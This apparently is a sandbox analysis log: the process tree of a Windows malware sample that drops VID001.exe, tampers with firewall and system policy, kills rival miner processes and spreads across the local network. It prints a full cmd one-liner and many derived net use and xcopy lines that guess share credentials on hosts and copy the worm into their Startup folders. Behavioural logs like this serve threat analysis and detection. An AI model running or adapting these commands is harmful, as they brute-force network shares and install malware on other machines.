C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3644

C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
1⤵
PID:3384

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2896

C:\Users\Admin\AppData\Local\Temp\50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
"C:\Users\Admin\AppData\Local\Temp\50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe"
2⤵
- Modifies firewall policy service
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4708

C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe
"C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe"
3⤵
- Modifies firewall policy service
- Executes dropped EXE
- Deletes itself
- Drops startup file
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4260

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c taskkill /f /im NsCpuCNMiner* & taskkill /f /im IMG0*
4⤵
PID:2024

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im NsCpuCNMiner*
5⤵
- Kills process with taskkill
PID:4496

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im IMG0*
5⤵
- Kills process with taskkill
PID:2728

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c taskkill /f /im uihost* & taskkill /f /im DOC0*
4⤵
PID:4440

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im uihost*
5⤵
- Kills process with taskkill
PID:4480

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im DOC0*
5⤵
- Kills process with taskkill
PID:2488

C:\Users\Admin\AppData\Roaming\TempoRX\uihost64.exe
"C:\Users\Admin\AppData\Roaming\TempoRX\uihost64.exe"
4⤵
PID:3100

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:4568

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /v:on /c (for /f "usebackq tokens=1,*" %i in (`net view^|find /i "\\" ^|^| arp -a^|find /i " 1"`) do set str_!random!=%i)& for /f "usebackq tokens=1* delims==" %j in (`set str_`) do set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=VID001.exe& if not "!s!"=="%COMPUTERNAME%" (for /f "usebackq tokens=1,*" %j in (`net view \\!s!^|find /i " "`) do echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\!s!\%j\VID001.exe") & net use * /delete /y & (for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 "" %u 1 123) do ping -n 3 localhost & (for %c in (\\!s!\C$ \\!s!\Users) do (if not "%p%u"=="01" net use %c "%p" /user:"%u") && ((for %d in ("%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!") do echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" %d) & net use %c /delete /y & ping -n 20 localhost)))
4⤵
PID:4676

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:4684

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view|find /i "\\" || arp -a|find /i " 1"
5⤵
PID:2568

C:\Windows\SysWOW64\net.exe
net view
6⤵
- Discovers systems in the same network
PID:1944

C:\Windows\SysWOW64\find.exe
find /i "\\"
6⤵
PID:212

C:\Windows\SysWOW64\ARP.EXE
arp -a
6⤵
PID:3788

C:\Windows\SysWOW64\find.exe
find /i " 1"
6⤵
PID:4624

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c set str_
5⤵
PID:1572

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view \\10.10.0.92|find /i " "
5⤵
PID:4756

C:\Windows\SysWOW64\net.exe
net view \\10.10.0.92
6⤵
- Discovers systems in the same network
PID:3104

C:\Windows\SysWOW64\find.exe
find /i " "
6⤵
PID:4620

C:\Windows\SysWOW64\net.exe
net use * /delete /y
5⤵
PID:2136

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1532

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:3084

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
- Enumerates system info in registry
PID:4736

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4040

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
- Enumerates system info in registry
PID:2464

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5028

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
- Enumerates system info in registry
PID:4196

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ /delete /y
5⤵
PID:5044

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:4980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:3472

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
- Enumerates system info in registry
PID:3852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4256

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\Users\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
- Enumerates system info in registry
PID:4244

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2320

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
- Enumerates system info in registry
PID:400

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users /delete /y
5⤵
PID:900

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
- Runs ping.exe
PID:640

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3728

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ """" /user:"1"
5⤵
PID:4772

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4744

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1520

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2232

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:2212

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2200

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:4016

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ /delete /y
5⤵
PID:2144

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:1040

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users """" /user:"1"
5⤵
PID:4592

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3152

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"1"
5⤵
PID:3164

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"1"
5⤵
PID:4344

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4900

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"1"
5⤵
PID:4768

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"1"
5⤵
PID:4988

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:5072

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "123" /user:"1"
5⤵
PID:4416

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "123" /user:"1"
5⤵
PID:496

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4448

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "0" /user:"10.10.0.92"
5⤵
PID:3184

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "0" /user:"10.10.0.92"
5⤵
PID:2752

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:4436

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ """" /user:"10.10.0.92"
5⤵
PID:1776

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:1584

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4292

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\Documents and Settings\10.10.0.92\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:184

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4688

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\10.10.0.92\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:4572

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ /delete /y
5⤵
PID:3712

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:2976

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users """" /user:"10.10.0.92"
5⤵
PID:2788

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4360

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "10.10.0.92" /user:"10.10.0.92"
5⤵
PID:4640

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "10.10.0.92" /user:"10.10.0.92"
5⤵
PID:4840

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4544

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"10.10.0.92"
5⤵
PID:3088

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"10.10.0.92"
5⤵
PID:2224

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3132

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "123" /user:"10.10.0.92"
5⤵
PID:4928

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "123" /user:"10.10.0.92"
5⤵
PID:3220

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4020

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "0" /user:"administrator"
5⤵
PID:3512

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "0" /user:"administrator"
5⤵
PID:4156

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:1132

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ """" /user:"administrator"
5⤵
PID:1092

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:1272

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:1800

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\Documents and Settings\administrator\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:5092

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:5088

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:3548

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ /delete /y
5⤵
PID:748

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:4236

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users """" /user:"administrator"
5⤵
PID:860

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3624

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "administrator" /user:"administrator"
5⤵
PID:1052

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "administrator" /user:"administrator"
5⤵
PID:2412

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:560

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"administrator"
5⤵
PID:4660

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"administrator"
5⤵
PID:4776

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:4816

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "123" /user:"administrator"
5⤵
PID:4784

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "123" /user:"administrator"
5⤵
PID:2228

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:988

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "0" /user:"user"
5⤵
PID:4348

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "0" /user:"user"
5⤵
PID:1900

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:1356

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ """" /user:"user"
5⤵
PID:3524

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4368

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:3276

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:4868

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\Documents and Settings\user\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:180

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:3424

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.92\C$\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:3464

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ /delete /y
5⤵
PID:3436

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users """" /user:"user"
5⤵
PID:2584

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:1720

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "user" /user:"user"
5⤵
PID:3108

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "user" /user:"user"
5⤵
PID:5052

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3024

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"user"
5⤵
PID:3092

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"user"
5⤵
PID:2928

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:2720

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "123" /user:"user"
5⤵
PID:4432

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "123" /user:"user"
5⤵
PID:4460

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3700

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "0" /user:"admin"
5⤵
PID:4536

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "0" /user:"admin"
5⤵
PID:4664

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Executes dropped EXE
PID:3100

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ """" /user:"admin"
5⤵
PID:3760

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users """" /user:"admin"
5⤵
PID:2776

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "admin" /user:"admin"
5⤵
PID:4700

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "admin" /user:"admin"
5⤵
PID:4628

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1588

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"admin"
5⤵
PID:4512

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"admin"
5⤵
PID:2372

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3128

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "123" /user:"admin"
5⤵
PID:720

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "123" /user:"admin"
5⤵
PID:3076

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5104

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "0" /user:"àäìèíèñòðàòîð"
5⤵
PID:1728

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "0" /user:"àäìèíèñòðàòîð"
5⤵
PID:1176

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1760

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ """" /user:"àäìèíèñòðàòîð"
5⤵
PID:5080

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users """" /user:"àäìèíèñòðàòîð"
5⤵
PID:372

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "àäìèíèñòðàòîð" /user:"àäìèíèñòðàòîð"
5⤵
PID:3664

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "àäìèíèñòðàòîð" /user:"àäìèíèñòðàòîð"
5⤵
PID:3620

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:2744

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "1" /user:"àäìèíèñòðàòîð"
5⤵
PID:4852

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "1" /user:"àäìèíèñòðàòîð"
5⤵
PID:1696

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:1172

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\C$ "123" /user:"àäìèíèñòðàòîð"
5⤵
PID:4832

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.92\Users "123" /user:"àäìèíèñòðàòîð"
5⤵
PID:1596

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net view \\10.10.0.78|find /i " "
5⤵
PID:2124

C:\Windows\SysWOW64\find.exe
find /i " "
6⤵
PID:1976

C:\Windows\SysWOW64\net.exe
net view \\10.10.0.78
6⤵
- Discovers systems in the same network
PID:1004

C:\Windows\SysWOW64\net.exe
net use * /delete /y
5⤵
PID:3416

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2376

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.78\C$\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2120

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.78\C$\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:1296

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:3984

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.78\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:420

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ /delete /y
5⤵
PID:392

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:676

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.78\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2444

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.78\Users\Documents and Settings\1\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:688

C:\Windows\SysWOW64\xcopy.exe
xcopy /y /d "C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe" "\\10.10.0.78\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VID001.exe"
5⤵
PID:2296

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo f"
5⤵
PID:2188

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users /delete /y
5⤵
PID:4340

C:\Windows\SysWOW64\PING.EXE
ping -n 20 localhost
5⤵
PID:1444

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:1784

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ """" /user:"1"
5⤵
PID:3660

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users """" /user:"1"
5⤵
PID:2908

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3068

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "1" /user:"1"
5⤵
PID:3792

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"1"
5⤵
PID:3308

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3288

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "1" /user:"1"
5⤵
PID:4796

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"1"
5⤵
PID:4904

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4880

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "123" /user:"1"
5⤵
PID:1304

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "123" /user:"1"
5⤵
PID:4984

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3096

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "0" /user:"10.10.0.78"
5⤵
PID:4420

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "0" /user:"10.10.0.78"
5⤵
PID:2724

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:4380

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ """" /user:"10.10.0.78"
5⤵
PID:4532

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users """" /user:"10.10.0.78"
5⤵
PID:1384

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3932

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "10.10.0.78" /user:"10.10.0.78"
5⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "10.10.0.78" /user:"10.10.0.78"
5⤵
PID:2884

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:1080

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "1" /user:"10.10.0.78"
5⤵
PID:1084

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "1" /user:"10.10.0.78"
5⤵
PID:4636

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:3140

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "123" /user:"10.10.0.78"
5⤵
PID:3144

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "123" /user:"10.10.0.78"
5⤵
PID:4192

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:3124

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "0" /user:"administrator"
5⤵
PID:5068

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "0" /user:"administrator"
5⤵
PID:4828

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:5084

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ """" /user:"administrator"
5⤵
PID:744

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users """" /user:"administrator"
5⤵
PID:4188

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
PID:968

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\C$ "administrator" /user:"administrator"
5⤵
PID:3592

C:\Windows\SysWOW64\net.exe
net use \\10.10.0.78\Users "administrator" /user:"administrator"
5⤵
PID:3196

C:\Windows\SysWOW64\PING.EXE
ping -n 3 localhost
5⤵
- Runs ping.exe
PID:548

C:\Windows\SysWOW64\net.exe
